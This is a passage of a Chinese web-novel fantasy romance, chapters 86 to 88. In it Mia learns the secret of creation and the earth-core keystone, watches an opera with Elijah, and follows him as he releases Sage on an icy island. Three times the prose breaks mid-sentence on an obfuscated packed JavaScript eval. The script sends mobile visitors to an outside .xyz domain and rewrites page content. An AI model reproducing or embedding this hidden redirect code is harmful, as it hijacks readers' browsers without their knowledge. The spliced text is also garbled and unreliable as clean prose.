米娅掌心微热,外界的一切声音都在慢慢离他们远去,她定定地盯着火焰看了一会儿,慢慢勾起唇角,“若非如此,我不会主动联系你们。” 没错,这场会见的发起者,其实是她。 五天前,爆照发生之时,她将困在古堡中的人转移到冥界的过程中,发现其中有道极不和谐的身影。 那人力量强大,却在休伊等人奋力求生之刻,躲在人群最后。 在冥界中,祂露出了真容。 鹰头狮身,传说中湖之神的模样。 可惜到了冥界,就是神明也得遵守冥界的规矩。 米娅一个眼神,冥界生物一拥而上,将祂五花大绑。 湖之神看见了米娅手中的权杖,不等米娅开口,就将一切和盘托出。 祂们制造爆炸,意图抓住莱森,以莱森的性命相要挟,让以利亚放弃收回祂们的神力。 正如米娅所言,祂们没想过抓米娅,亲人和情人,哪个份量更重并不难猜。 米娅有些意外祂如此配合。 湖之神却说:“就算真的抓住了莱森,以我们的力量,神主想救回他轻而易举,这本来就是个没有办法的办法。” 那双锐利的鹰眼盯着米娅手中的权杖,颓唐的神情忽然又有了光彩,“可是见到您,我知道我们搞错了目标。” 米娅讽笑,“怎么,你们还打算来抓我不成?” “不,不是这样!”湖之神激动地反驳道,生怕她误会了,“神主想要收回我们的力量,不过是怕他死后没人能再压制我们,所以,只要他不死——” 米娅收敛笑容,神情变得严肃。 “你有办法?” 湖之神道:“本来没有,见到你,我想到了。” 米娅淡道:“说说看。” “忒菲,找到忒菲,我记得,他就在冥界。” 又是忒菲…… 米娅皱眉沉思,不止一人提及过忒菲或许能解决现在的困局,但不管是在试炼中,还是在现实里,她能找到的相关消息都极为有限。 她还问过以利亚,可是他说忒菲早就死了。 “找到忒菲有什么用?”米娅问。 湖之神道:“我也不知道,忒菲的消息即使在十神间也讳莫如深,但是正义之神一定知道,你放我回去,我让祂来跟你说。” 好啊,原来在这等着,米娅都无语了,“说了半天,你就是想让我放过你。” 看着祂,米娅只觉得自己对神明的印象跌入了谷底,胆小怕死,急躁慌张,这些个神明跟人类和海妖也没什么两样。 “我说的都是真的!”湖之神赶忙辩解。 该不该信他? 米娅考虑的时间很短,因为以利亚已经找来了冥界,至少有一点是明确的,不能让以利亚找到祂。 “你最好别骗我。”米娅送祂回人间前,警告祂,“你们死了也要来冥界里走一遭,要是敢骗我,你不会有好下场。” 86. 暗涌(五) “见识过权杖的威力后,湖之神哪里还敢骗您。”正义之神如此说道,“事实上,祂也没必要骗您,这对我们没有好处,与您合作,是最有可能达成我们目的的选择。” 盖因,米娅和祂们目的一致。 米娅点点头,“好了,说正事吧,忒菲是怎么一回事,为什么说找到它也许能救以利亚?” 正义之神道:“此事还要从混沌时期说起,不过——” 祂飘到洛琳女皇面前,“接下来的内容,人类不能知道,你离开吧。” 即使是人类中最有权势者,在神明看来亦只是可以操控的棋子,祂或许偶尔会倚仗她们,却从不会平等看待二者之间的关系。 女皇神色一黯,低垂眉眼,却也没有反驳,默默带人退了出去。 米娅冷眼觑着,心想要不是自己有权杖,祂们也不会将自己放在眼里。 还真是傲慢。 看她们走远了,蓝色火焰这才重新开口,“混沌时期,忒菲是——” 米娅打断祂:“我知道忒菲是什么,直接讲重点。” 蓝色火焰一顿,思考片刻,问她:“那您是否知道,我们这些创世后出现的神明,其实都是神主用混沌中生物的灵魂捏塑而成的?” 这倒是个新信息,米娅终于起了点儿好奇心,“哦?” 火焰道:“这涉及到创世的真相了。混沌之所以被称为混沌,正是因其混乱无序,混乱催生出一群只知厮杀的野兽,野兽又反过来增加了混乱,但混乱并不能永无止境的增加。您可以类比人类制造的烟花,小小的一筒烟花,一旦点燃之后,能量迅速膨胀,超过烟花筒的承受极限,就会爆开。创世之前,混沌已经到了极限,神主预知了这一情况,祂找到奥洛和维里希斯,意图找到解决方法。” 火焰说到这里停住了,米娅不明所以,却正好趁着间隙说出自己的疑惑:“祂们打算扭转过去?” 火焰十分惊讶地看了她一眼。 “神主预知的未来一定会实现,哪怕是祂也不能改变。” 米娅心里一沉。 火焰继续道:“办法并不难,只要混乱厮杀能够停止,混沌就能暂时稳定,然后,由祂们创造规则,改变混沌,也就是所谓的创世。” 听起来简单,做起来可不轻松。 只看现在人类之间的攻伐便可知,停止厮杀几乎是不可能的,更何况米娅听来听去,觉得混沌中那些生物大部分甚至没有理智可言。 “您能想到什么办法吗?”火焰突然问她。 米娅愣了愣。 创世成功了,说明祂们的办法奏效了,可是到底能有什么办法? 想到火焰说祂们是用混沌中生物的灵魂去捏塑而成,她突然福至心灵,停止不了,怎么会停止不了,它们都死了不就停止了吗? “把它们都杀了?” 只是想到这一点,米娅都觉得自己实在太魔鬼了。 “您真聪明……” 米娅皱眉,“竟然真是这样?!” 她直觉这不是以利亚,不对,应该说伊瑟尔的主意,至于另外两位,白马口中的维里希斯善良正直,好像也想不出来这种办法。 那就只剩了—— 火焰说完后半句:“……不愧是奥洛的造物。” 果然是奥洛的主意。 就是祂这话听着不像是什么好话。 “祂们真的这么做了?”好奇心被勾了起来,米娅赶紧问道。 火焰上下跳跃了几下,似乎是在模拟点头,“一开始不是,混沌生物大都不相信混沌即将毁灭,而且很多混沌生物根本没有理智可言,只有少部分生物愿意相信神主,还有些直接来攻击神主,神主只能将它们都收拾了,但收拾也只是打它们一顿,没想着杀死它们。” 很多时候,拳头比说话有用。 “收拾的多了,它们也怕了,混沌真有趋于平静的气氛,结果这个时候,忒菲跳出来了。”火焰娓娓道来,“忒菲没有神智,只知横冲直撞,不知是谁将它引到了维里希斯女神身边,想借它杀死维里希斯女神。” “真算起来,忒菲不是女神的对手,可它有一种令女神也头疼的能力——它死不了,它可以一直消耗女神的体力,再加上幕后之人从旁暗算,女神险些真在那时陨落了。女神重伤,奥洛及时赶到,奥洛掌握的权柄是忒菲的克星,祂抓住了忒菲和幕后之人,审问出幕后之人的目的,那人想阻止祂们创世的计划,而奥洛最初其实对这计划并不热衷,如果不是因为维里希斯,祂不会加入这计划。那人想的是,女神因此事而死的话,神主和奥洛势必反目,计划也就不了了之了。” 维里希斯…… 米娅在心中默念这个名字。 现如今,人类和海妖一样,都失却了创世神的名字。 海妖一族坚信自己的创造者奥洛是创世神,只能算是误打误撞蒙对了,就像赫尔西家族信仰伊瑟尔一样。 只有维里希斯的名字,彻底淹没在了历史中。 她第一次听说,还是从白马那里,似乎维里希斯还在时,经常在冥界出没。 听火焰的意思,维里希斯似乎才是三者的中心。 她去了哪里?她还活着吗? 暂且将这些疑问压下,米娅继续听火焰说:“那人失败了,而且,他的计划起了反作用,奥洛不是会因为威胁而妥协的人,女神的遭遇激起了祂的愤怒,反而促使祂加快推进了计划。直到最后,混沌中不见活物,只有飘荡的灵魂,神主将这些灵魂收集起来,承诺它们新世界里会有它们的一席之地。” 不知为何,米娅感到一丝悲伤,“它们,就是你们?” “……是。”火焰的声音同样沉重,“极少数灵魂在转世之后还拥有混沌时期的记忆,我和兄长正在其列,可能是因为我们从一开始就支持神主的创世计划。” 米娅屏住呼吸,她知道,祂要讲到此次冒险会面的重点了。 火焰缓缓道:“祂们重塑了混沌。维里希斯斩开混沌,世界有了天和地的概念,奥洛塑造生死的规则,冥界因此而存在,而神主——” “您与神主最为亲密,可知道神主真正的权柄是什么吗?”火焰忽然问她。 米娅正觉得哪里不对,被祂一问,将祂的话又仔细想了一遍,若有所思道:“他被称为天空之神,可是你刚刚也说了,天与地的概念来自于维里希斯,我想应该不是天空了。” 火焰道:“神主创建永恒花园,将其悬于天空之上,地上的人类见了,穿凿附会安了个天空之神的称号罢了。” 不是天空,又是什么? 米娅不由得一一回想相识以来以利亚的各种异常之处。 她假意离开赫尔西岛,和尤妮演了一场戏那天,她看到他走上甲板,时间忽然变得缓慢,其他人根本看不清他是怎么出手的。 他们第一次去冥界,明明在冥界中待了几个小时,出去时外面只过了几分钟,她还以为是冥界和现世的时间流速不同,可是第二次单独以灵魂状态去冥界,两界的时间流速分明又是一样的。 以利亚亲口承认,第一次是因为他。 还有在十一年前的回忆里,发生了偏离记忆的事件,并且影响到了现在的时间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304581|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她后来明白,那已经不止是回忆,他们回到了过去的时间,以利亚也没有否认这点。 但她忘了去想,为什么会回到过去。 所有的这些异常里,都有一个看不见摸不着的东西在发挥作用。 “时间?” “没错。”火焰道,“这可能不太好理解,但在混沌中,时间不像现在这样是单向流动的,是神主重新塑造了时间的规则。创世以后,神主依然能操纵时间的流向,但祂与奥洛和维里希斯定下了约定,祂们也需要遵守新的规则。” “不遵守会怎样?” “老实说,我们也不知道,或许不会怎样,那只是约定,祂们并不受规则约束。”火焰顿了顿,“除了祂们,还有那么几个侥幸逃过了创世前的清洗的混沌生物,也不受规则约束,比如冥界中的那匹白马,再比如……忒菲。” 米娅点了点头,“你说过,它是不死的。” 火焰对忒菲的描述,让她感到几分熟悉。 火焰接着她的话说:“它是不死的,但不是不能削弱的,维里希斯将它的心脏取出,炼成太阳放到天上,它的血肉化作了奥维伊大陆上的河流,它的灵魂被一分为二,获得了不死能力的那一半,被封印在冥界,另一半沉入了地心,化作地心的基石。” “等等。”米娅嚯地一下站了起来,“基石原本是忒菲的一半灵魂?” 一直以来,她得到的信息都是,基石是伊瑟尔的心脏。 她听到自己的心跳声,很响很快,指尖也因激动而微微颤抖。 此前一切的症结都在伊瑟尔的心脏上。 以利亚接受那颗心脏,他会重新成神,但地心会不可逆站的坍塌,世界毁灭,心脏去作为地心的基石,他会因承受不住伊瑟尔的全部神力而死亡。 他选了后一条路。 米娅看似接受了这个结果,内心深处却一直想找到其他办法解开这个看似无解的难题。 现在,她终于看到了一点儿曙光。 难怪,难怪知道一点儿内情的人都语焉不详地将线索指向了忒菲。 “原来的基石去哪儿了?”不等火焰说话,米娅又激动地问道。 “我也不知道。”火焰无奈地说道,“我的兄长也不知道,如果还有谁可能知道的话,只能是神主或者特诺斯或者……塞奇。” 米娅顿感失望,她还以为祂什么都知道呢。 至于祂提及的三人,以利亚自不必说,特诺斯这个名字米娅也听说过,记忆之神。 记忆之神已死众所周知,祂指的应当是那支羽毛笔。 从冥界出来后,米娅再没有见过它。 它的确知道很多关于以利亚的秘密,而且一直试图绕开以利亚告诉自己。 但米娅的注意力仍被最后一个名字吸引。 塞奇。 第一次在冥界见到他,他一口一个妻子,把自己坑惨了。 第二次见到他,在十一年前,他被乌斯召唤出来,和以利亚打了一场,说了些当时听起来莫名其妙的话。 米娅发现自己的声音有些干涩,“塞奇,就是忒菲被封印在冥界的那一半灵魂吧。” 其实不难猜到。 来自混沌,力量强大,与创世神有仇怨,不死。 每一条,他都能对上。 火焰恼道:“谁能想到,不完整的凶兽灵魂,竟会诞生出拥有理智的意识,并修炼出身体来?” “你觉得,是他拿走了基石?” 火焰愤慨道:“除了他,还有谁有这个能力和理由,就是不知道他将基石藏到哪里去了。” 87. 暗涌(六) 豪华古朴的马车静静停留在宫门外。 马车上,衔尾蛇家徽迎风飘扬,吸引了来来往往的目光。 也不知等了多久,直到太阳落山,红色的宫门缓缓打开,马车等待的对象走了出来,阳光照在来人耀眼的银发上,金色与银色碰撞,仿佛极光一般美丽。 以利亚登上马车,辉煌的宫殿在他身后,夕阳在他的前方。 最后一点儿太阳在他面前缓缓沉了下去,黄昏的分界线缓缓前移,黑夜将皇廷吞没。 车门紧闭,他推门进去,米娅坐在窗边,左手托腮看着窗外,留给他一个侧脸。 夕阳的最后一束光打在鸦羽般的睫毛上,当男人的脚步声响起之时,那睫毛如蝴蝶翅膀一样轻轻颤动。 男人走到了她的身边,坐榻下陷,他坐了下来。 马车缓缓启动,慢悠悠地向赫尔西家族的府邸走去。 府邸与皇宫之间隔着好几个街区,期间马车需要穿过无数个路口,拐过好几道弯,如果走最近的一条路,还要穿过闹市区,可谓是一条极其漫长的道路。 来的时候,米娅怀着一些忐忑和激动。 她觉得自己终于可以救他了。 回去的路上,一切却大不相同。 正义之神的话很有用,不可否认,祂带来了很多她不知道的消息,关于混沌,关于创世,关于……身边的男人。 知道基石一开始不是伊瑟尔的心脏时,她一度以为自己接近真相了。 然而冷静下来之后,反而有更多的疑惑冒了出来。 正义之神都知道的事情,以利亚不会不知道。 他说过,三千年前的伊瑟尔附身到他身上时,同时为他带来了祂的记忆。 过去的六年里,他应该试图寻找过最初的基石。 还有塞奇,塞奇的本体此前被封印在冥界,听白马的意思,在自己和他重逢之前,他也去过冥界好几次,估计就是去见塞奇的。 看塞奇的态度,大概是不会告诉他基石在哪里。 所以他后来放弃了这条路吗? 至少在她面前,他没有提起过。 而且在试炼中,除了卡伦隐晦地提及过忒菲这个名字,她没找到任何有关忒菲或者说塞奇的消息。 如果是自己呢,自己去问塞奇,他会不会说? 一想到塞奇,米娅就莫名地有些烦躁。 每次见面,他都要挑拨一番自己和以利亚的关系,还念叨着自己和他以前有多亲密。 他说的那些,米娅毫无印象,也分不清他是否在说谎。 况且,就算他说的都是真的,今时不同往日,自己好不容易和以利亚和好,实在不想再去理会那些已经过去了的旧事。 可现在的情况似乎是非找到他不可。 “唉。”米娅愁得直叹气。 “怎么了?”以利亚握着她的手问。 上车之后,他一直无声地盯着她,看她望着窗外沉思的侧脸,看她眉头微微皱起,似乎想起了什么烦心事。 米娅感觉得到他温柔的注视,似一汪湖水,在无风的傍晚平静如镜,又深不可测。 他一直没有打扰她,只在听到叹息声后出声询问。 米娅心中酸涩,却暗暗下定了决心。 她怎么能犹豫呢? 她要救他,不惜一切代价。 米娅靠过去,缩进他怀里,“我今天见到洛琳女皇,她和我在试炼中见到的一模一样,试炼的内容难道就是对未来的提前演练?” “可以这么说。”以利亚顺势抱住她,低头亲吻她的额头。 米娅忧心道:“试炼中每次有爆炸发生之后,我就会开始忘了你,这次爆炸来的这么早,你该不会——” 以利亚愈发抱紧了她,“不会,我答应过你。” 没错,他答应过她,要多陪她一些时候。 至少在这一点上,米娅觉得,他不会骗她。 但别的方面,就很难说了。 当然也说不上骗,米娅明白,他只是隐瞒了一些事情。 米娅在他怀里侧过身,与他面对面坐着,她很想直接问他,可是她也知道,他不会说的,他如果愿意说,他们刚从冥界回来时,他就该说了。 于是米娅什么也没说,她只是将自己上半身的重量压了上去,捧着他的脸,闭着眼睛与他接吻。 就像是为了补偿一样,这些天他们单独在一起时,总是难免有亲密举动,米娅已经相当熟悉他的怀抱,找了个最合适的位置,加深这个吻。 当她的手向下滑时,以利亚扣住了她的手。 马车也在这时停了下来。 米娅“咦”了一声,她记得皇宫离他们的住处还挺远的,不会这么快到。 以利亚放开她,为她整理了一下稍微有些凌乱的发尾和裙摆,拉着她走下马车。 不是赫尔西家族的府邸。 眼前的建筑造型奇特,东高西低,一个尖顶斜指向天空,向下延伸出两条优美的弧线,向东的弧线修长平缓,只在中部略有起伏,向西的弧线却在尖顶下向内凹去。 法齐奥大剧院。 米娅没想到以利亚会带她来这里。 盯着看了好一会儿,她突然笑道:“我知道这造型其实是一把平放的竖琴,但是每次见到它,第一反应都是这是一顶帽子。” “不止你这么想。”以利亚牵着她的手,向剧院气派的大门走去,“它在民间还有个称呼,‘魔法帽’,这么叫它其中一个原因就是它像一顶帽子。” 剧院门口站了一个衣着精致的中年男人,见到他们的身影,快步走过来,手放在胸口行礼道:“以利亚大人,米娅夫人。” 以利亚向他点头示意。 那人在前面带路,一路将他们引导至顶层的一个房间内,然后默默离开。 房间布置得豪华雅致,中央放置着两张座椅,正对窗户,窗户又正对舞台,坐在椅子上,刚好能将整个舞台收入眼底。 舞台上,演出还未开始,幕布垂下,隐约能听到幕布后舞台机关转动的声音。 舞台前方是数百个并排成弧形的椅子,此刻已经坐满了观众,稍微有些吵闹。 看起来,他们来的晚了一些。 演出已经要开始了。 米娅坐下,身躯陷进柔软舒适的椅子里,转头低声问:“怎么突然想到要来看戏?” “顺路。”以利亚微笑道,“我记得你在试炼中经常来这里。” 这是事实,第一次试炼爆炸就发生在法齐奥剧院,后来很多次试炼,她都会先来法齐奥剧院看一眼,后来发现爆炸的地点并不是固定的,才渐渐来的少了。 说起来,在外面看了这么多次,这还是她第一次走进剧院坐下看一场戏剧。 米娅莞尔,瞥见旁边的茶几上放了两张剧目介绍单,拿起来看了一眼——《芙纳泉的精灵》。 她听说过,创作于大陆时代的经典歌剧,讲述了一个精灵与人类相恋,精灵王国与人类王国却在邪恶巫师的挑拨下开战,这对恋人最终用生命的代价揭穿了巫师阴谋的悲剧故事。 正想着,演出大厅的灯光暗了下来。 随着一首悠扬的旋律响起,幕布缓缓向两边拉开,演出开始了。 舞台上,演员们高声歌唱,用动作和歌声诠释着动人的故事,舞台下,观众也看得聚精会神。 米娅本来觉得,这个故事刚创作出来时的确叫人感觉耳目一新,可几百年过去了,类似的剧目层出不穷,故事中的情节早已不新鲜,自己大概会觉得有些无聊。 没想到看着看着,竟也有些看进去了。 故事的最后一幕,女主人公揭穿了巫师的阴谋,但也被巫师重创命不久矣,男主人公杀死了巫师,看着女主人公在他怀中消逝,拿起长剑,自刎结束了自己的生命。 米娅不禁呀了一声,她只知道大概剧情,虽有心理准备是个悲剧,却没想到竟是这样的悲剧。 看到这一幕,心里像压了块石头,沉甸甸的。 观众席上传来压抑的啜泣声,听得她也鼻子一酸,眼眶湿润了些许。 趁着灯光还没亮起,米娅赶紧抹了抹眼泪,又在心底感叹道,不愧是流行了几百年的剧目,在老套的剧情里,音乐和台词层层递进,依然能让人沉浸其中,情绪随情节起伏。 演出结束,观众席上响起雷鸣般的掌声,演员齐齐来到台前谢幕。 此时,米娅和以利亚悄然离开了剧院。 晚风拂面,吹散夏日的燥热,抚平激荡的心绪。 米娅还在不断回想着戏剧的最后一幕。 再精彩的剧情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311368|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不至于让她反复咀嚼,其中还有别的缘由。 来时的马车安静停在路边,离他们越来越近。 米娅突然停了下来,以利亚不明所以,回头看她。 米娅:“天气这么好,我们走回去吧。” 以利亚看了眼天空,黑漆漆一片,偶尔才能看到几颗星点闪烁,实在称不上好,但米娅既然想走走,他不会拒绝。 绿恩岛的夜晚很热闹,道路两旁的商店都开着门,灯火通明,路上行人如织。 “你以前看过这部剧吗?”米娅脚步轻缓,特意走在阴影之下,避开人群的注视。 以利亚跟在她身后,“小时候看过。” 想到在剧院中她眼角那一抹藏不住的红,他明白她为什么有此一问,又补充道:“那时候的结局和现在不一样。” “原来还有别的结局?”米娅好奇地转身望着他,美丽的脸庞一半藏在阴影中,一般在光芒下熠熠生辉。 毕竟是人类的戏剧,她了解得不多。 “抓贼啊!”不远处响起个焦急的声音。 一道黑色的身影贴着墙角奔跑过来,边跑边回头,眼看就要撞到米娅,以利亚握住米娅的手,将她拉进怀中,揽着她说:“几百年来不少人对它进行了改编,结局也有好几版,我看的那一版,他们假死隐居了。” 有悲剧,也有看不得悲剧的观众。 美好结局的版本应呼声而生。 那道奔跑的身影手上拿着把刀,行人见了,纷纷避让,本来还想见义勇为的人,看到刀也缩回了头。 他看到黑暗中两个人挡在自己逃跑的路线上,大叫道:“滚开!不然我就——” 话没说完,双腿传来剧痛,他膝盖一软,扑倒在地,手中的刀也掉了出去,刚偷的钱包摔在地上,银币从其中摔出来。 “真好。”米娅幽幽地说,似乎没发现周遭的异常,只是盯着灯光下男人的神情,想从中看出什么破绽似的,“真希望我们也能隐居。” 类似的话这些天她说了不知几遍,每次他都以沉默应对,这次也不例外。 他给不起这样的承诺。 追赶小偷的人跑了过来,以为小偷是自己摔倒,大喜过望,把小偷按住一顿揍,巡逻的警卫也闻声而来,分开两人,这场闹剧才宣告结束。 警卫看到旁边还有两人,走上前来,“两位,麻烦你们作为证人也跟我们走一趟。” 刚说完,他就看到了男人的脸,一愣,“以……以利亚大人!” 以利亚闻声看过来,“你认识我?” 警卫激动地说:“您到绿恩岛的那天,我就在港口维持秩序。” 虽然绿恩岛上怕以利亚的人很多,但崇拜他的人同样不少,史上最强大的渡水者,这个名头一说出去,就足够让人心生艳羡了。 警卫心潮澎湃,他居然跟以利亚大人说上了话,回去一说,不知多少兄弟要羡慕他。 “警局在哪儿?”以利亚又问。 警卫又是一愣,连忙摆手,“不用了不用了。” 刚才是没看清楚,他哪敢带以利亚回去。 警卫带着小偷和失主走了,走两步一回头,十分不舍的样子,米娅见了,不禁噗嗤一声笑了。 周围偷瞟过来的视线越来越多,他们听见了警卫和以利亚的对话,对以利亚好奇得很,又碍于他的身份,不敢正大光明地看。 米娅赶紧拉着以利亚躲进了旁边的巷子里,等待人群散去。 巷子两侧都是高墙,一点儿光亮也透不进来。 米娅调侃道:“没想到你还挺受欢迎的。” 以利亚无奈地笑。 月亮不知什么时候从云层中冒了出来,淡淡的月光照在这个灯光无法触及的角落,朦胧如水,为眼前人的脸蒙上一层薄纱。 他的笑容真好看。 米娅看着他,怔怔地想。 她踮起脚尖吻上去,一触即离,然后环着他的脖子说:“我不会那么做的……我不会像故事中的主人公那样,为你殉情的。” 这话很煞风景,但她知道这才是他带她看那出戏的真正目的。 他也有和尤妮一样的担忧。 米娅恶狠狠地继续说:“我会忘了你,我会和别人在一起……唔……” 以利亚堵住了她的嘴。 88. 共生(一) 米娅以各种理由拖延,在绿恩岛多待了一个月。 期间发生了很多事。 女皇的婚期定了下来,和试炼中一样,定在了十月。 湖中央的亲王府如火如荼重建中,雅克亲王和莱森这期间住在皇宫里,雅克亲王再没有派使者来请以利亚或者米娅,倒是休伊去见了他一次。 那次会面的第二天,莱森在赫尔西家族的府邸外徘徊了许久,但他最终什么也没做就离去了。 他恐怕知道真相了,米娅心想。 其实对莱森,她是有愧疚的,毕竟当初她为了接近以利亚利用了他。 她想劝他两句,后来想想还是算了,那晚在小巷中“口出狂言”之后,她能明显感觉到以利亚对她的态度有所改变。 之前他们偶尔还有分开行动的时候,现在几乎时时刻刻都在一起,感觉像是回到了刚从冥界回来的那半个月。 她想再去见一面正义之神都没找到机会。 她很想和他每天腻在一起,可是她的计划怎么办? 某个夜晚,米娅实在受不了了,趁他心情不错,对他说:“我是胡说的,我才不会找别人呢。” 结果以利亚的眉头皱得更深了,苦恼地看了她一眼,把她按在床上,又是一番折腾。 米娅目瞪口呆,正着说也不对,反着说也不对,他到底是个什么意思? 她很快就知道了。 事后,以利亚神态餍足道:“我不介意你以后和别人在一起。” 米娅胡乱地嗯嗯了两声,其实压根不信,他要真不在意,这段时间莫名的占有欲从何而来? 以利亚怎么会听不出她的敷衍,手臂一展,把她捞到身前,看着她的眼睛,郑重地说:“但是我不希望你只是为了赌气故意这么说,或是——” 米娅一愣。 “或是未来随便找一个人,我希望那个人是……是你真心想在一起的。” 他的声音越来越轻,最后几乎是呢喃,幸亏他们离得足够近,米娅才能听清,可是她宁愿自己没有听见。 如果不是觉得自己必死无疑,他怎么会说出这一番话。 米娅心中大恸,怔怔地望着他,眼泪顺着脸颊流下。 以利亚一怔,眼中闪过一丝不知所措,他抱着米娅坐起来,指腹轻轻擦去她的眼泪,但那晶莹的泪珠就像断了线的珍珠,越擦越多。 “米娅……”以利亚低声唤她。 米娅扑进他怀里,脸埋在他胸口,不一会儿他的胸膛就被她滚烫的泪珠浸湿。 米娅身躯似蝴蝶般轻颤,以利亚轻拍她的背安抚她,别的一切声音都消失了,只听得见她压抑的低泣。 哭声丝丝缕缕,钻进耳朵里,也钻进心里。 一下又一下,牵扯着胸口火烧火燎地痛。 半晌,米娅抬起头,泪眼朦胧地望着他,像是质问,又像是喃喃自语,“如果、根本就不会有这么个人呢?” 经历过他之后,米娅想象不到,还有谁能令她心动。 以利亚没有回答,只是抱紧了她。 第二天清晨,天还未亮。 以利亚醒来时,米娅还在熟睡中,她蜷缩着窝在他怀里,右手牢牢地抓着他的胳膊,像是生怕他跑了一样。 以利亚看着她恬静的睡颜,小心翼翼地将手臂从她掌心拿出来,米娅似乎被吵醒了,不安地扭动了一下身躯,哼哼了两声。 以利亚低头在她额头落下一个轻柔的吻,“我出去一会儿,很快就回来。” 海妖的呼吸重新变得平静。 以利亚起身,手臂上传来灼热感,他低头一看,原来是米娅抓着他的手臂沉睡时,无意识发动了权杖的力量。 权杖与他的力量对抗,在手臂上留下了一道烫伤的疤痕。 她要是看到,又要自责。 以利亚这么想着,手指抚过,疤痕变浅。 权杖造成的疤痕,即使是他,也不能立刻完全去除,但能尽量让它变浅,只有凑近了看,才看得到疤痕比周围的皮肤颜色要深一点儿。 外头天还没亮。 他穿过门扉,右脚还在卧房内,左脚已经踏入了极寒之地。 慕斐岛终年狂风,冷得刺骨,却从不下雪。 此地曾是混沌的中心,后来成为新世界大地的起点,曾经大陆时代的每一块绵延的土地,现在岛屿时代每一座岛屿,都是由它延伸出去。 此地也是海平面之上最接近地心的地方。 冻土被坚冰覆盖,当双脚都踩在慕斐岛的冰层上时,以利亚身后由光线组成的门扉逐渐缩小,转瞬间完全消失。 远处蓝宝石一般的冰川在海面上翻滚,碧蓝海水起伏不定,近处冰川形成的山峰巍峨耸立,尖顶直指蓝天。 大地突然震颤了一下,震颤的中心来自冰川内部。 是地心的心脏感觉到了他的到来。 以利亚来到峰顶,衣袍被狂风吹得猎猎作响,一把光剑出现在他掌心,他举剑在空中划开一道裂缝。 无边的静谧和狂乱的风暴断断续续地从裂缝中涌出,甚至盖过了慕斐岛上的狂风。 片刻之后,一道灰色的人影从裂缝中掉出来,似断了线的风筝,从山顶向下坠去。 以利亚冷眼瞧着,只见那灰色身影坠到地面,发出砰的一声巨响,散作一团不定形的雾气。 雾气掩盖大地,似海上的浮沫随风飘荡。 裂缝逐渐合拢。 以利亚来到地面,雾气急剧收缩,又化作人形,向他袭来。 以利亚一动不动,金色的锁链从冰层中钻出来,将灰色的身影牢牢锁住。 “放开我!”塞奇狂怒嘶吼道。 他的眼神空洞,几乎没有理智可言,袭击和挣扎都出于对以利亚本能的恨意。 时间裂隙能会消磨人的理智,不过对他而言,恢复理智也不过是片刻的事情。 塞奇的吼声越来越小,与此同时,他眼中的理智越来越多,他的眼神逐渐变得清明,但对眼前之人的恨意却丝毫没有减少。 只是他现在无能为力。 塞奇盘腿坐下,他被以利亚关在时间裂隙里,神智浑浑噩噩,根本不知道现在是什么时候,也不知道慕斐岛之外是什么情况。 他只关心—— “米娅在哪儿?” 不等以利亚回答,大地又震颤起来。 塞奇心里一惊,慕斐岛位置特殊,不受外界世界影响,就连两百年前的天空之劫也无法撼动,怎么会地震。 他只能想到这震动来自地心,于是手掌一翻,按在冰层上,感受来自地心的搏动。 须臾之后,塞奇收回手掌,打量着以利亚,笑的得意,“看起来,你的心脏和地心已经融合得差不多了,你就算想反悔,也来不及了。” 以利亚终于说话了,“我从没想过反悔。” 塞奇不知想到了什么,冷哼了一声道:“那你把我放出来做什么,想让我亲眼见证你死的那一刻?” 以利亚冷冷地看着他:“我听她说,你们能实现‘共生’。” 塞奇皱眉:“谁告诉你的?米娅?不对,我没对她提起过,是‘她’告诉你的。” 他一跃而起,眼中燃烧着熊熊怒火,“你到底对‘她’做了什么,难道你审讯了‘她’?!你怎么敢——” 以利亚平静道:“你其实很清楚当年究竟发生了什么,只是不敢承认。” 塞奇更加愤怒,奋力挣扎起来,锁链勒紧血肉里也不放弃,一步一步艰难地靠近以利亚。 差一点儿,只差一点儿。 他看着他,想到了两千年前的那个画面,愤怒瞬间吞噬了他的理智,灰雾凝成巨剑,自高空落下。 以利亚完全没有躲的意思。 他在等待。 剑锋就在眼前,再迟疑一瞬,就能将他劈开。 “住手!” 米娅忽然出现,将他扑向一边,以利亚早有预料,一手揽着她肩,一手抱着她的腰,在空中停留片刻,又落回地面。 中计了。 看着男人毫不意外的神情,米娅懊恼不已。 她好不容易用看似合理的手段在他身上留下权杖的印记,凭着那印记,她就能感知到他去了哪里,离得近一些,还能听到他和别人的谈话。 他来了慕斐岛。 米娅记得试炼中自己在慕斐岛感觉到过塞奇的存在。 真是想什么来什么,她冒险前来,躲在慕斐岛附近的海域,感受着慕斐岛传来的力量波动,听着他们的对话。 虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318797|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然他们说的她都听不太懂,但直觉其中一定隐藏着重要讯息。 